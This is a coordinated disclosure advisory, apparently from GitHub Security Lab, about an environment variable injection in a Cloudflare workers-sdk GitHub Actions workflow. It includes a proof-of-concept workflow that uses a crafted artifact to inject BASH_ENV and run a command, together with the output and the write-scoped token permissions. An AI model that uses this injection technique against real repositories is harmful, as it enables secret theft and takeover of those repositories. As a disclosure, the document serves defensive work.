Coordinated Disclosure Timeline

Summary

Cloudflare workers-sdk write-prerelease-comment.yml workflow is vulnerable to environment variable injection which may allow an attacker to leak secrets and gain write access to the repository.

Project

Cloudflare workers-sdk

Tested Version

Latest commit at the time of reporting.

Details

Environment Variable Injection in write-prerelease-comment.yml (GHSL-2024-252)

The write-prerelease-comment.yml workflow is triggered when a workflow called “Create Pull Request Prerelease” finishes.

on: workflow_run: workflows: ["Create Pull Request Prerelease"] types: - completed 

An attacker may create a pull request that modifies the triggering “Create Pull Request Prerelease” workflow and uploads arbitrary artifacts before triggering the Vulnerable workflow.

The job comment gets executed if github.repository_owner == 'cloudflare' but this condition is always true in the context of a workflow_run triggered workflow since it runs in the context of the default branch so it offers no protection.

jobs: comment: if: ${{ github.repository_owner == 'cloudflare' }} 

The workflow then runs “Put PR and workflow ID on the environment” and then downloads the artifacts from the triggering workflow:

 - name: "Download runtime versions" # Regular `actions/download-artifact` doesn't support downloading # artifacts from another workflow uses: dawidd6/action-download-artifact@v2 with: run_id: ${{ github.event.workflow_run.id }} name: runtime-versions.md - name: "Put runtime versions on the environment" id: runtime_versions run: | { echo 'RUNTIME_VERSIONS<<EOF' cat runtime-versions.md echo EOF } >> "$GITHUB_ENV" 

Since the contents of the artifact are not validated, an attacker may craft a malicious runtime-versions.md file with multiple lines on it which will be used to set up new environment variables. By injecting a new environment variable called BASH_ENV, an attacker will be able to run arbitrary code when the next run: step triggers.

Steps to reproduce

name: Create Pull Request Prerelease on: pull_request: jobs: test: runs-on: ubuntu-latest steps: - run: | cat << 'EOF2' > runtime-versions.md FOO EOF BASH_ENV<<EOF3 $(id 1>&2) EOF3 DUMMY<<EOF DUMMY EOF2 - run: | cat runtime-versions.md - name: Upload runtime versions uses: actions/upload-artifact@v3 with: name: runtime-versions.md path: runtime-versions.md - run: | cat << 'EOF2' > prerelease-report.md FOO EOF BASH_ENV<<EOF3 $(id 1>&2) EOF3 DUMMY<<EOF DUMMY EOF2 - run: | cat prerelease-report.md - name: Upload runtime versions uses: actions/upload-artifact@v3 with: name: prerelease-report.md path: prerelease-report.md 
uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal) 

Impact

The workflow runs in the context of a full-write GITHUB_TOKEN token:

https://github.com/cloudflare/workers-sdk/actions/runs/11106549077/job/30855119163

GITHUB_TOKEN Permissions Actions: write Attestations: write Checks: write Contents: write Deployments: write Discussions: write Issues: write Metadata: read Packages: write Pages: write PullRequests: write RepositoryProjects: write SecurityEvents: write Statuses: write 

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-252 in any communication regarding this issue.